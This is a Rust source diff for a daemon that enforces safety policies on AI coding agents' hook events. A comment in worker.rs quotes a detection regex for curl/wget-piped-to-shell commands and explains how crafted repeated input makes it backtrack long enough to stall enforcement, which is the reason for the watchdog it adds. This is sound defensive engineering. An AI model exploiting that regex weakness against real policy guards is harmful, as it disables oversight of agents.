assert_eq!( + failproofai_root(HOME).unwrap(), + PathBuf::from("/home/enrolled/.failproofai") + ); + assert_eq!( + agenteye_root(HOME).unwrap(), + PathBuf::from("/home/enrolled/.agenteye") + ); + } + + #[test] + fn the_install_manifest_sits_with_the_users_own_state() { + assert_eq!( + install_manifest_path(None, HOME).unwrap(), + PathBuf::from("/home/enrolled/.failproofai/install.json") + ); + assert_eq!( + install_manifest_path(Some("/tmp/i.json"), HOME).unwrap(), + PathBuf::from("/tmp/i.json") + ); + } + + #[test] + fn nothing_resolves_outside_the_users_own_roots() { + // The property the whole scope decision turns on: no path this module + // produces lands anywhere that would require elevated privilege. + for path in [ + socket_path(None, None, HOME).unwrap(), + socket_path(None, Some("/run/user/1000"), HOME).unwrap(), + failproofai_root(HOME).unwrap(), + agenteye_root(HOME).unwrap(), + install_manifest_path(None, HOME).unwrap(), + ] { + let s = path.to_string_lossy().into_owned(); + for privileged in ["/opt/", "/var/lib/", "/etc/", "/Library/", "/usr/"] { + assert!( + !s.starts_with(privileged), + "{s} is under {privileged}, which user scope must never touch" + ); + } + } + } +} diff --git a/crates/failproofaid/src/server.rs b/crates/failproofaid/src/server.rs new file mode 100644 index 00000000..8d68164c --- /dev/null +++ b/crates/failproofaid/src/server.rs @@ -0,0 +1,671 @@ +//! The Unix-socket listener and the single enforcement lane. +//! +//! ## Shape, and why it is threads rather than an async runtime +//! +//! A QuickJS context is tied to the thread that created it — it is not `Send`. +//! That is not an obstacle to work around; it maps exactly onto what the +//! architecture already calls for. There is **one warm sealed worker** on +//! **one enforcement lane**, so the daemon runs one worker thread that owns the +//! context, and every connection hands it work over a channel and waits. +//! +//! An async executor would buy nothing here and cost something real. The +//! enforcement lane is deliberately synchronous and deadline-bounded: the +//! worker pumps QuickJS's microtask queue by hand precisely so the deadline can +//! be checked *between* jobs, and handing that loop to an executor would take +//! that away. Collection and delivery — the lanes that are genuinely I/O-bound +//! — land in later stages and can bring their own runtime without disturbing +//! this one. +//! +//! ## What the socket boundary is for +//! +//! `home` is derived here, from `getpwuid_r(peer_uid)`, where `peer_uid` comes +//! from the kernel via `SO_PEERCRED`. Nothing a client sends can influence it, +//! and a client that tries is rejected rather than corrected. +//! +//! In user scope this is no longer a privilege boundary — the daemon, the hook +//! client, and the agent being governed are all the same user — and it is not +//! claimed as one. It is narrower and still worth having. +//! `isAgentInternalPath` and `block-read-outside-cwd` both *widen* the allow +//! set, so a `home` that is wrong in either direction relaxes a verdict +//! silently; deriving it from the kernel's view of the peer means a buggy +//! client, a stale environment, or a second implementation that guessed cannot +//! produce that. And "it is not accepted" stays the contract rather than "we +//! overwrite it anyway", because the second one leaves the field looking +//! supported to the next client author. + +use std::io; +use std::os::unix::fs::PermissionsExt; +use std::os::unix::net::{UnixListener, UnixStream}; +use std::path::{Path, PathBuf}; +use std::sync::Arc; +use std::sync::atomic::{AtomicU64, Ordering}; +use std::sync::mpsc::{Receiver, Sender, channel}; +use std::thread; +use std::time::{Duration, Instant}; + +use fpai_ipc::envelope::{SUPPORTED_PROTOCOL_VERSIONS, is_supported_protocol_version}; +use fpai_ipc::{ + Attestation, ClientHandshake, Decision, ErrorCode, EvaluateHook, Evaluated, FrameError, + HelloAck, Op, OpResult, Ping, Pong, Request, Response, ServerHandshake, VersionMismatch, + home_for_uid, peer_credentials, read_frame, write_frame, +}; + +use crate::worker::{SealedWorker, WorkerError}; + +const DAEMON_VERSION: &str = env!("CARGO_PKG_VERSION"); + +/// Ceiling on the deadline a client may request. +/// +/// A client asking for a 10-minute budget would pin the single enforcement lane +/// for ten minutes and stall every other user on the machine. The cap is a +/// property of the lane being shared, not of any one request. +const MAX_DEADLINE: Duration = Duration::from_secs(5); + +/// How long past its own deadline a request will wait for the shared lane. +/// +/// The lane is single-threaded, so a request's wall-clock wait is its own +/// evaluation *plus* everything queued ahead of it. This is the allowance for +/// that queue. Past it, the connection thread stops waiting and reports lane +/// pressure — the client gave up long ago and fell back to legacy, so +/// continuing to wait accomplishes nothing and costs a parked thread. +const LANE_QUEUE_GRACE: Duration = Duration::from_secs(5); + +/// What the worker thread accepts. +struct Job { + request_json: String, + deadline: Duration, + reply: Sender>, +} + +/// A handle to the enforcement lane. Cheap to clone; sends are queued. +#[derive(Clone)] +pub struct Lane { + tx: Sender, + generation_id: Arc, +} + +impl Lane { + /// Start the worker thread and load the sealed bundle. + /// + /// Returns only once the bundle has loaded, so a caller can treat a + /// successful return as readiness. `Type=notify` on the systemd unit + /// depends on that: `systemctl start` must block until the socket is bound + /// *and* the evaluator is live, so setup's readiness check is a second + /// independent verification rather than the only one. + pub fn start() -> Result<(Self, thread::JoinHandle<()>), WorkerError> { + let (ready_tx, ready_rx) = channel::>(); + let (tx, rx) = channel::(); + + let handle = thread::Builder::new() + .name("fpai-sealed".into()) + .spawn(move || worker_loop(rx, ready_tx)) + .map_err(|e| WorkerError::BundleLoad(format!("could not spawn worker thread: {e}")))?; + + match ready_rx.recv() { + Ok(Ok(generation_id)) => Ok(( + Self { + tx, + generation_id: Arc::new(generation_id), + }, + handle, + )), + Ok(Err(message)) => Err(WorkerError::BundleLoad(message)), + Err(_) => Err(WorkerError::BundleLoad( + "worker thread exited before reporting readiness".into(), + )), + } + } + + /// The active generation's identity, reported in every response. + #[must_use] + pub fn generation_id(&self) -> &str { + &self.generation_id + } + + fn submit(&self, request_json: String, deadline: Duration) -> Result { + let (reply_tx, reply_rx) = channel(); + self.tx + .send(Job { + request_json, + deadline, + reply: reply_tx, + }) + .map_err(|_| WorkerError::Evaluation("enforcement lane is not running".into()))?; + + // `recv_timeout`, never a bare `recv`. The lane is shared and requests + // queue, so this call waits for however long everything ahead of it + // takes — not just for this request's own deadline. A bare `recv` parks + // the connection thread with no upper bound, and since the client has + // already given up at its own (shorter) budget and fallen back to + // legacy, that thread is waiting for an answer nobody will read. + // + // Measured before this: one runaway request left one permanently + // blocked thread per subsequent hook event, growing without limit. + // `serve()` propagates a failed `accept` or `spawn`, so the first + // EMFILE/EAGAIN returned `Err` out of the listener and the daemon + // exited — escalating "no daemon answers" into "the daemon is gone". + // + // The bound is the queue budget, not the deadline: `LANE_QUEUE_GRACE` + // past this request's own deadline covers a reasonable amount of work + // ahead of it, and anything beyond that is reported as lane pressure + // rather than waited on. + match reply_rx.recv_timeout(deadline + LANE_QUEUE_GRACE) { + Ok(outcome) => outcome, + Err(std::sync::mpsc::RecvTimeoutError::Timeout) => Err(WorkerError::DeadlineExceeded { + elapsed: deadline + LANE_QUEUE_GRACE, + }), + Err(std::sync::mpsc::RecvTimeoutError::Disconnected) => Err(WorkerError::Evaluation( + "worker thread died mid-evaluation".into(), + )), + } + } +} + +fn worker_loop(rx: Receiver, ready: Sender>) { + let worker = match SealedWorker::new() { + Ok(w) => w, + Err(e) => { + let _ = ready.send(Err(e.to_string())); + return; + } + }; + + // The generation identity. Stage 1 has exactly one generation — the + // builtins compiled into the bundle — so it is derived from the bundle's + // own content rather than invented. Later stages resolve configuration and + // user policy sources into it; the shape of the identifier does not change. + let generation_id = match worker.policy_names() { + Ok(names) => format!("gen-{:016x}", fnv1a(&names.join(","))), + Err(e) => { + let _ = ready.send(Err(e.to_string())); + return; + } + }; + + if ready.send(Ok(generation_id)).is_err() { + return; // nobody is listening; the daemon is shutting down + } + + while let Ok(job) = rx.recv() { + let outcome = worker.evaluate(&job.request_json, job.deadline); + // A dropped receiver means the connection went away mid-evaluation. + // Not an error: the client already fell back to legacy. + let _ = job.reply.send(outcome); + } +} + +/// FNV-1a, for a short stable content identifier. +/// +/// Not a security primitive and not used as one — the generation ID exists for +/// cache invalidation and decision evidence, and the design doc is explicit +/// that a content digest "is not treated as publisher authentication". +fn fnv1a(input: &str) -> u64 { + let mut hash: u64 = 0xcbf2_9ce4_8422_2325; + for byte in input.as_bytes() { + hash ^= u64::from(*byte); + hash = hash.wrapping_mul(0x1000_0000_01b3); + } + hash +} + +/// The daemon: a bound listener plus the enforcement lane behind it. +pub struct Daemon { + listener: UnixListener, + socket_path: PathBuf, + lane: Lane, + started: Instant, + decisions: Arc, +} + +impl Daemon { + /// Bind `socket_path` and start the enforcement lane. + /// + /// The parent directory is created if it is missing. That is not + /// convenience: in user scope nothing else creates it. The managed design + /// had a privileged installer lay down `/run/failproofai` before the + /// service ever started, and dropping that installer left + /// `~/.failproofai/run/` — and `$XDG_RUNTIME_DIR/failproofai/`, which the + /// runtime directory does not contain either — with no owner. A daemon that + /// only bound would fail `ENOENT` on every first start on every machine. + /// + /// A stale socket file from a previous run is removed first. In user scope + /// that is not the guarded operation it would have been under a service + /// account: the directory belongs to this user, so this user can already + /// unlink the socket and bind an impostor, and no mode on the file changes + /// that. It is unlinked because a crashed predecessor otherwise makes every + /// subsequent start fail `EADDRINUSE`, and for no stronger reason than + /// that. + pub fn bind(socket_path: impl AsRef) -> io::Result { + let socket_path = socket_path.as_ref().to_path_buf(); + if let Some(parent) = socket_path.parent() + && !parent.as_os_str().is_empty() + { + std::fs::create_dir_all(parent)?; + // 0o700 on the directory, set after the fact so it applies whether + // or not `create_dir_all` had anything to do — an existing + // group-readable directory from an older build is tightened rather + // than trusted. Only this user should be able to reach the socket. + std::fs::set_permissions(parent, std::fs::Permissions::from_mode(0o700))?; + } + if socket_path.exists() { + std::fs::remove_file(&socket_path)?; + } + let listener = UnixListener::bind(&socket_path)?; + + // 0o600, not 0o660. The group bit existed for a managed install where + // enrolled users reached a service account's socket through a shared + // group; in user scope the daemon serves exactly one user, and the + // group here is that user's primary group, which on several + // distributions contains other people. + std::fs::set_permissions(&socket_path, std::fs::Permissions::from_mode(0o600))?; + + let (lane, _handle) = Lane::start().map_err(|e| io::Error::other(e.to_string()))?; + + Ok(Self { + listener, + socket_path, + lane, + started: Instant::now(), + decisions: Arc::new(AtomicU64::new(0)), + }) + } + + /// The bound socket path. + #[must_use] + pub fn socket_path(&self) -> &Path { + &self.socket_path + } + + /// The active generation identity. + #[must_use] + pub fn generation_id(&self) -> &str { + self.lane.generation_id() + } + + /// Accept and serve connections until the listener errors. + /// + /// One thread per connection. Stage 1 has a single client per hook event + /// with a request/response lifetime measured in milliseconds, so a thread + /// is cheaper than the machinery to avoid one; the shared resource that + /// actually needs bounding is the enforcement lane, and it is a channel. + pub fn serve(&self) -> io::Result<()> { + for stream in self.listener.incoming() { + let stream = stream?; + let lane = self.lane.clone(); + let started = self.started; + let decisions = Arc::clone(&self.decisions); + thread::Builder::new() + .name("fpai-conn".into()) + .spawn(move || { + // A failed connection is logged and dropped. It must never + // take down the listener — one malformed client cannot be + // allowed to stop enforcement for the whole machine. + if let Err(e) = serve_connection(&stream, &lane, started, &decisions) { + eprintln!("[failproofaid] connection error: {e}"); + } + })?; + } + Ok(()) + } + + /// Serve exactly one connection, in this thread. For tests and `--oneshot`. + pub fn serve_one(&self) -> io::Result<()> { + let (stream, _) = self.listener.accept()?; + serve_connection(&stream, &self.lane, self.started, &self.decisions) + } + + /// Decisions returned since start, for the health snapshot. + #[must_use] + pub fn decision_count(&self) -> u64 { + self.decisions.load(Ordering::Relaxed) + } +} + +impl Drop for Daemon { + fn drop(&mut self) { + // Best-effort: a leftover socket file would make the next bind remove + // it anyway, but leaving one behind makes `status` ambiguous. + let _ = std::fs::remove_file(&self.socket_path); + } +} + +fn serve_connection( + stream: &UnixStream, + lane: &Lane, + started: Instant, + decisions: &AtomicU64, +) -> io::Result<()> { + // Peer credentials FIRST, from the kernel, before a single byte of the + // client's own claims is trusted for anything. + let peer = peer_credentials(stream)?; + + // And then actually *use* them to refuse a stranger. + // + // This check was documented before it existed. An earlier revision read the + // peer UID and used it only to derive `home`, while `PROTOCOL.md` and the + // commit that introduced it both described peer credentials as a "this + // connection is mine" check that keeps other users out. It did not: a peer + // of any UID was served, with *their* home derived, and the only thing + // actually keeping them out was the socket's file mode. + // + // Defence in depth is the point. `0600` on the socket and `0700` on its + // directory are the first line and are enough on a correctly-created + // install — but they are filesystem state, and filesystem state drifts: a + // permissive umask at creation, a directory restored from a backup, a + // `chmod` by a well-meaning script, a future code path that creates the + // socket somewhere else. This check does not drift, because it compares two + // numbers the kernel supplies. + // + // v1.0.0 is user scope, so the daemon serves exactly one UID: its own. This + // is not a privilege boundary — the owning user can stop the daemon, edit + // its config, or `ptrace` it — it is an isolation rule between *different* + // users on a shared machine. + let daemon_uid = fpai_ipc::current_uid(); + if peer.uid != daemon_uid { + eprintln!( + "[failproofaid] refusing connection from uid {} (this daemon serves uid {} only)", + peer.uid, daemon_uid + ); + return Ok(()); + } + + let mut reader = stream; + let mut writer = stream; + + // -- handshake -- + let hello_bytes = match read_frame(&mut reader) { + Ok(b) => b, + Err(FrameError::Closed) => return Ok(()), // clean disconnect before saying anything + Err(e) => return Err(io::Error::other(e.to_string())), + }; + let hello: ClientHandshake = match serde_json::from_slice(&hello_bytes) { + Ok(h) => h, + Err(e) => return Err(io::Error::other(format!("malformed handshake: {e}"))), + }; + let ClientHandshake::Hello(hello) = hello; + + if !is_supported_protocol_version(hello.protocol_version) { + let reply = ServerHandshake::VersionMismatch(VersionMismatch { + supported: SUPPORTED_PROTOCOL_VERSIONS.to_vec(), + received: hello.protocol_version, + }); + write_frame(&mut writer, &serde_json::to_vec(&reply)?) + .map_err(|e| io::Error::other(e.to_string()))?; + // Then close. The client falls back to legacy; it must not guess a + // version or retry. + return Ok(()); + } + + let ack = ServerHandshake::HelloAck(HelloAck { + protocol_version: fpai_ipc::PROTOCOL_VERSION, + daemon_version: DAEMON_VERSION.to_string(), + generation_id: lane.generation_id().to_string(), + }); + write_frame(&mut writer, &serde_json::to_vec(&ack)?) + .map_err(|e| io::Error::other(e.to_string()))?; + + // -- request/response -- + loop { + let body = match read_frame(&mut reader) { + Ok(b) => b, + Err(FrameError::Closed) => return Ok(()), + Err(FrameError::TooLarge { declared, .. }) => { + // Answering at all is best-effort: there is no request_id to + // echo, because the frame carrying it is the one we refused. + let reply = Response::error( + "", + ErrorCode::FrameTooLarge, + format!("declared body of {declared} bytes exceeds the 1 MiB maximum"), + ); + let _ = write_frame(&mut writer, &serde_json::to_vec(&reply)?); + return Ok(()); + } + Err(e) => { + let reply = Response::error("", ErrorCode::MalformedFrame, e.to_string()); + let _ = write_frame(&mut writer, &serde_json::to_vec(&reply)?); + return Ok(()); + } + }; + + let request: Request = match serde_json::from_slice(&body) { + Ok(r) => r, + Err(e) => { + let reply = Response::error("", ErrorCode::MalformedFrame, e.to_string()); + write_frame(&mut writer, &serde_json::to_vec(&reply)?) + .map_err(|err| io::Error::other(err.to_string()))?; + return Ok(()); + } + }; + + let response = match request.op { + Op::Ping(Ping {}) => Response { + request_id: request.request_id, + result: OpResult::Pong(Pong { + daemon_version: DAEMON_VERSION.to_string(), + uptime_ms: u64::try_from(started.elapsed().as_millis()).unwrap_or(u64::MAX), + }), + }, + Op::EvaluateHook(hook) => { + let r = handle_evaluate(*hook, &request.request_id, peer.uid, lane); + if matches!(r.result, OpResult::Evaluated(_)) { + decisions.fetch_add(1, Ordering::Relaxed); + } + r + } + }; + + write_frame(&mut writer, &serde_json::to_vec(&response)?) + .map_err(|e| io::Error::other(e.to_string()))?; + } +} + +fn handle_evaluate(hook: EvaluateHook, request_id: &str, uid: u32, lane: &Lane) -> Response { + // Envelope validation before anything else: a client-asserted `home` or an + // unknown env fact is refused outright rather than sanitised. + if let Err(e) = hook.host.validate() { + return Response::error(request_id, e.code(), e.to_string()); + } + + // `home` is derived here, never received. A `getpwuid_r` miss is an error, + // not a fallback to some default — a wrong home widens the allow set. + let home = match home_for_uid(uid) { + Ok(h) => h.to_string_lossy().into_owned(), + Err(e) => { + return Response::error( + request_id, + ErrorCode::Internal, + format!("could not resolve the home directory for uid {uid}: {e}"), + ); + } + }; + + // An empty enabled set is refused rather than treated as "enforce + // nothing" or quietly backfilled with the builtin defaults. Both of those + // answer a question the client did not ask, and one of them enforces a + // policy set the user never configured. + if hook.enabled_policies.is_empty() { + return Response::error( + request_id, + ErrorCode::MalformedFrame, + "evaluate_hook carried no enabled_policies; the client must send its resolved set", + ); + } + + let deadline = Duration::from_millis(hook.deadline_ms).min(MAX_DEADLINE); + + // The sealed worker speaks the shape in `src/policy-runtime/sealed-entry.ts`. + let sealed_request = serde_json::json!({ + "eventType": hook.event_type, + "payload": hook.payload, + "session": { + "cli": hook.cli, + "sessionId": hook.session.session_id, + "transcriptPath": hook.session.transcript_path, + "permissionMode": hook.session.permission_mode, + "hookEventName": hook.session.hook_event_name, + "cwd": hook.host.cwd, + "projectDir": hook.host.project_dir, + "home": home, + }, + // The client's resolved enabled set, not a set of the daemon's own. + // See `EvaluateHook::enabled_policies` for why that distinction is the + // difference between the daemon enforcing what the user configured and + // it silently enforcing eleven builtins. The worker partitions this and + // reports anything it cannot run as `needs_user_context`; the client + // treats a non-empty list as "fall back to legacy". + // + // An empty list means the client sent nothing to evaluate, which is a + // client bug rather than "enforce nothing" — falling back to the + // builtin defaults would enforce a set the user never chose, so it is + // refused above instead. + "config": { "enabledPolicies": hook.enabled_policies }, + }); + + let raw = match lane.submit(sealed_request.to_string(), deadline) { + Ok(raw) => raw, + Err(WorkerError::DeadlineExceeded { elapsed }) => { + return Response::error( + request_id, + ErrorCode::DeadlineExceeded, + format!("sealed evaluation exceeded its budget after {elapsed:?}"), + ); + } + Err(e) => return Response::error(request_id, ErrorCode::Internal, e.to_string()), + }; + + let parsed: SealedResponse = match serde_json::from_str(&raw) { + Ok(p) => p, + Err(e) => { + return Response::error( + request_id, + ErrorCode::Internal, + format!("sealed worker returned an unreadable response: {e}"), + ); + } + }; + + let SealedResponse::Ok { + ok: _, + result, + needs_user_context, + read_client_asserted_host, + } = parsed + else { + let SealedResponse::Err { error, .. } = parsed else { + unreachable!() + }; + // An evaluation failure is reported as one. It is never converted into + // an allow — that is what makes a tripped circuit breaker visible + // instead of silently permissive. + return Response::error(request_id, ErrorCode::Internal, error); + }; + + let decision = match result.decision.as_str() { + "deny" => Decision::Deny, + "instruct" => Decision::Instruct, + _ => Decision::Allow, + }; + + // Honest attestation: a decision that read a client-asserted field is + // `sealed_unattested`, not `sealed`. + let attestation = if read_client_asserted_host { + Attestation::SealedUnattested + } else { + Attestation::Sealed + }; + + let decision_id = format!( + "dec-{:016x}", + fnv1a(&format!( + "{request_id}{}{}", + result.exit_code, result.stdout + )) + ); + + Response { + request_id: request_id.to_string(), + result: OpResult::Evaluated(Box::new(Evaluated { + decision_id, + generation_id: lane.generation_id().to_string(), + exit_code: result.exit_code, + stdout: result.stdout, + stderr: result.stderr, + decision, + policy_name: result.policy_name, + policy_names: result.policy_names, + reason: result.reason, + attestation, + matched_policies: Vec::new(), + // Stage 1 evaluates sealed-only. A client seeing this non-empty + // falls back to legacy rather than silently dropping a user's + // mutable policies. + needs_user_context, + })), + } +} + +/// The sealed worker's reply shape. Mirrors `SealedResponse` / `SealedError` in +/// `src/policy-runtime/sealed-entry.ts`. +#[derive(serde::Deserialize)] +#[serde(untagged)] +enum SealedResponse { + Ok { + #[allow(dead_code)] + ok: OkTrue, + result: SealedResult, + #[serde(rename = "needsUserContext")] + needs_user_context: Vec, + #[serde(rename = "readClientAssertedHost")] + read_client_asserted_host: bool, + }, + Err { + #[allow(dead_code)] + ok: OkFalse, + error: String, + }, +} + +/// Literal `true` / `false` discriminants, so `untagged` cannot pick the wrong +/// arm on a response that happens to have overlapping fields. +#[derive(serde::Deserialize)] +#[serde(try_from = "bool")] +struct OkTrue; +impl TryFrom for OkTrue { + type Error = &'static str; + fn try_from(v: bool) -> Result { + if v { + Ok(Self) + } else { + Err("expected ok: true") + } + } +} + +#[derive(serde::Deserialize)] +#[serde(try_from = "bool")] +struct OkFalse; +impl TryFrom for OkFalse { + type Error = &'static str; + fn try_from(v: bool) -> Result { + if v { + Err("expected ok: false") + } else { + Ok(Self) + } + } +} + +#[derive(serde::Deserialize)] +struct SealedResult { + #[serde(rename = "exitCode")] + exit_code: i32, + stdout: String, + stderr: String, + decision: String, + #[serde(rename = "policyName")] + policy_name: Option, + #[serde(rename = "policyNames")] + #[serde(default)] + policy_names: Option>, + reason: Option, +} diff --git a/crates/failproofaid/src/worker.rs b/crates/failproofaid/src/worker.rs new file mode 100644 index 00000000..d0083978 --- /dev/null +++ b/crates/failproofaid/src/worker.rs @@ -0,0 +1,808 @@ +//! The sealed policy worker: one warm QuickJS context, owned by one thread. +//! +//! ## Why QuickJS and not V8 +//! +//! Size and shape. QuickJS-ng adds roughly a megabyte to the daemon binary +//! against V8's 30–45 MB, on each of four platform tarballs `npx` downloads. +//! More importantly the isolation is *structural* rather than a syscall filter: +//! a fresh context is created with no bindings registered at all, so there is +//! no `require`, no module loader, no `process`, no `fetch`, and no filesystem +//! — not "blocked", absent. A policy reaching for one gets a `ReferenceError`, +//! which is a policy evaluation failure that trips a circuit breaker, never a +//! silent allow. +//! +//! ## The warm-context hazard +//! +//! Every hook today runs in a fresh process, so the JavaScript-side policy +//! registry, the memoised policy index, and every hoisted `/g` regex start +//! clean. A resident worker changes all of that at once, and the failure mode +//! is a *wrong verdict*, not a crash. Two things address it: the bundle's +//! `evaluate()` rebuilds the registry from scratch on every call, and +//! `__tests__/policy-runtime/sealed-soak.test.ts` runs a 5,220-row corpus twice +//! through one warm context, then again shuffled, then compares all of it +//! against a fresh context per row. This module keeps one context alive +//! precisely so that suite is testing what production does. +//! +//! ## Bounds +//! +//! Enforcement runs under a hard monotonic deadline. Two independent mechanisms +//! keep a policy from blowing it: an interrupt handler QuickJS polls during +//! execution (which is what makes a runaway regex interruptible rather than +//! merely unfortunate), and a memory limit on the runtime. Neither is a +//! substitute for the other — the interrupt cannot stop a single allocation +//! that is too large, and the memory limit cannot stop a tight loop. + +use std::sync::atomic::{AtomicBool, AtomicU64, Ordering}; +use std::sync::{Arc, Condvar, Mutex}; +use std::time::{Duration, Instant}; + +use rquickjs::{Context, Function, Promise, Runtime}; + +/// The sealed bundle, embedded at compile time. +/// +/// Embedded rather than read from disk for the same reason the canonicalization +/// tables are: the daemon must never execute code resolved from a mutable path. +/// A bundle loaded at startup is a bundle that anyone with write access to +/// `/var/lib` could swap for one that allows everything. Compiling it in makes +/// it part of the signed artifact, and `dist/sealed-worker.js` is drift-gated +/// against its TypeScript sources so the embedded bytes are reviewable — +/// which is also why it is committed under `crates/generated/` rather than the +/// gitignored `dist/`. +const SEALED_BUNDLE: &str = include_str!("../../generated/sealed-worker.js"); + +/// Memory ceiling for the sealed runtime. +/// +/// 64 MiB is far more than any payload-only policy needs — the largest input is +/// bounded by the 1 MiB frame cap — and small enough that a runaway allocation +/// fails fast instead of pressuring the machine. Exceeding it surfaces as an +/// evaluation error, which trips the artifact's circuit breaker. +const MEMORY_LIMIT_BYTES: usize = 64 * 1024 * 1024; + +#[derive(Debug)] +pub enum WorkerError { + /// The bundle failed to load. Fatal at startup — the daemon must not accept + /// hook traffic without a working evaluator. + BundleLoad(String), + /// The worker did not answer within the remaining deadline. + DeadlineExceeded { elapsed: Duration }, + /// JavaScript threw, or the bundle returned a structured error. + Evaluation(String), + /// The response was not the shape `crates/PROTOCOL.md` promises. + Protocol(String), +} + +impl std::fmt::Display for WorkerError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::BundleLoad(m) => write!(f, "sealed bundle failed to load: {m}"), + Self::DeadlineExceeded { elapsed } => { + write!( + f, + "sealed evaluation exceeded its deadline after {elapsed:?}" + ) + } + Self::Evaluation(m) => write!(f, "sealed evaluation failed: {m}"), + Self::Protocol(m) => write!(f, "sealed worker returned an unexpected shape: {m}"), + } + } +} + +impl std::error::Error for WorkerError {} + +/// One warm sealed context. **Not `Send`** — QuickJS contexts are tied to the +/// thread that created them, which is why the daemon runs exactly one worker +/// thread and talks to it over a channel rather than sharing it. +pub struct SealedWorker { + /// Held to keep the QuickJS runtime alive for as long as `context` exists. + /// + /// Never read, and that is the point: every call now goes through + /// `Ctx::execute_pending_job` from inside `Context::with`, because + /// `Runtime::execute_pending_job` re-borrows a `RefCell` that `with` + /// already holds and panics. Dropping this field to satisfy the lint would + /// drop the runtime out from under the context; the correct reading of + /// "never read" here is "ownership anchor", not "unused". + #[allow( + dead_code, + reason = "keeps the runtime alive for `context`; all job pumping goes through Ctx" + )] + runtime: Runtime, + context: Context, + /// Set by the deadline watchdog; read by the interrupt handler. + interrupt: Arc, + /// Monotonically increasing count of completed evaluations, for health. + evaluations: Arc, + /// Arms and disarms the deadline watchdog. See [`Watchdog`]. + watchdog: Watchdog, +} + +/// The thread that actually enforces the enforcement deadline. +/// +/// **Why this has to be a separate thread.** QuickJS polls the interrupt +/// handler during execution and unwinds when it returns `true` — but *something +/// has to set the flag*, and the only other thing the worker thread does while +/// a policy runs is nothing: a policy body is synchronous JavaScript, so the +/// microtask-pump loop in [`SealedWorker::evaluate`] does not get another turn +/// until the call returns. Checking the deadline there enforces it only +/// *between* microtasks, which is to say not at all for the case that matters. +/// +/// The case that matters is real and default-enabled. `CURL_PIPE_SH_RE` in +/// `block-curl-pipe-sh` is `/(?:curl|wget)\s.*\|\s*(?:sh|bash|…)\b/` — the `.*` +/// backtracks quadratically, and `"curl ".repeat(n)` drives it. Measured on the +/// worker with a 200 ms deadline and no watchdog: 40 KB of command took 7.1 s +/// and 80 KB took 30 s, both returning `Ok`, never `DeadlineExceeded`. The +/// frame cap is 1 MiB, so a *legal* request extrapolates past an hour. One such +/// request permanently wedges the single enforcement lane for every user on the +/// machine. `protect-env-vars` and `block-failproofai-commands` have the same +/// regex shape and are also default-enabled. +/// +/// One long-lived thread rather than one per evaluation: spawning is ~20–50 µs +/// against a ~1 ms evaluation, which is a real fraction of the hot path this +/// daemon exists to make faster. +struct Watchdog { + /// `Some(deadline)` while an evaluation is in flight. + armed: Arc<(Mutex>, Condvar)>, + /// Set at drop so the thread exits instead of leaking at shutdown. + stop: Arc, +} + +impl Watchdog { + fn spawn(interrupt: Arc) -> Self { + let armed: Arc<(Mutex>, Condvar)> = + Arc::new((Mutex::new(None), Condvar::new())); + let stop = Arc::new(AtomicBool::new(false)); + + { + let armed = Arc::clone(&armed); + let stop = Arc::clone(&stop); + // Detached deliberately: it holds no state anything else reads, and + // joining it at shutdown would mean waiting out a deadline. + std::thread::Builder::new() + .name("fpai-watchdog".into()) + .spawn(move || { + let (lock, cvar) = &*armed; + let mut slot = lock.lock().unwrap_or_else(|e| e.into_inner()); + while !stop.load(Ordering::Relaxed) { + match *slot { + // Disarmed: sleep until someone arms or stops us. + None => { + let (next, _) = cvar + .wait_timeout(slot, Duration::from_millis(250)) + .unwrap_or_else(|e| e.into_inner()); + slot = next; + } + Some(deadline) => { + let now = Instant::now(); + if now >= deadline { + // Fire. The evaluation loop clears the flag + // and disarms once it has unwound. + interrupt.store(true, Ordering::Relaxed); + *slot = None; + } else { + let (next, _) = cvar + .wait_timeout(slot, deadline - now) + .unwrap_or_else(|e| e.into_inner()); + slot = next; + } + } + } + } + }) + .expect("watchdog thread must start"); + } + + Self { armed, stop } + } + + fn arm(&self, deadline: Instant) { + let (lock, cvar) = &*self.armed; + *lock.lock().unwrap_or_else(|e| e.into_inner()) = Some(deadline); + cvar.notify_all(); + } + + fn disarm(&self) { + let (lock, cvar) = &*self.armed; + *lock.lock().unwrap_or_else(|e| e.into_inner()) = None; + cvar.notify_all(); + } +} + +impl Drop for Watchdog { + fn drop(&mut self) { + self.stop.store(true, Ordering::Relaxed); + self.armed.1.notify_all(); + } +} + +impl SealedWorker { + /// Create the context and load the bundle. + /// + /// Loading happens once, at startup, so the per-event cost is a function + /// call rather than a parse. `Type=notify` on the systemd unit means + /// `systemctl start` blocks until this has succeeded, so a bundle that + /// cannot load is a failed start rather than a daemon that accepts traffic + /// and then denies (or worse, allows) everything. + pub fn new() -> Result { + let runtime = Runtime::new().map_err(|e| WorkerError::BundleLoad(e.to_string()))?; + runtime.set_memory_limit(MEMORY_LIMIT_BYTES); + + // QuickJS polls this handler on its own schedule during execution; + // returning `true` unwinds with an uncatchable exception. It is what + // makes an unbounded regex or a tight loop a *deadline miss* rather + // than a hung daemon — and it is why the plan's fallback for unreliable + // regex interruption is admission-time linear-time analysis plus a + // killable worker, not a switch to V8. + let interrupt = Arc::new(AtomicBool::new(false)); + { + let flag = Arc::clone(&interrupt); + runtime.set_interrupt_handler(Some(Box::new(move || flag.load(Ordering::Relaxed)))); + } + + // `Context::full` gives the standard intrinsics — JSON, RegExp, + // Promise, the lot. That is not a weakening: the sealed guarantee is + // about *bindings* (filesystem, process, network), and none of those + // are intrinsics. The bundle needs JSON and RegExp to function at all. + let context = + Context::full(&runtime).map_err(|e| WorkerError::BundleLoad(e.to_string()))?; + + context.with(|ctx| -> Result<(), WorkerError> { + ctx.eval::<(), _>(SEALED_BUNDLE) + .map_err(|e| WorkerError::BundleLoad(describe_js_error(&ctx, e)))?; + + // Fail at startup, not at the first hook event, if the bundle + // did not install what it promised. + let globals = ctx.globals(); + for name in ["__fpai_sealed_evaluate", "__fpai_sealed_policies"] { + if globals.get::<_, rquickjs::Value>(name).is_err() { + return Err(WorkerError::BundleLoad(format!( + "bundle did not install globalThis.{name}" + ))); + } + } + Ok(()) + })?; + + let watchdog = Watchdog::spawn(Arc::clone(&interrupt)); + + Ok(Self { + runtime, + context, + interrupt, + evaluations: Arc::new(AtomicU64::new(0)), + watchdog, + }) + } + + /// The sealed-eligible policy names, as the bundle reports them. + pub fn policy_names(&self) -> Result, WorkerError> { + self.context.with(|ctx| { + let f: Function = ctx + .globals() + .get("__fpai_sealed_policies") + .map_err(|e| WorkerError::Protocol(e.to_string()))?; + let json: String = f + .call(()) + .map_err(|e| WorkerError::Evaluation(describe_js_error(&ctx, e)))?; + 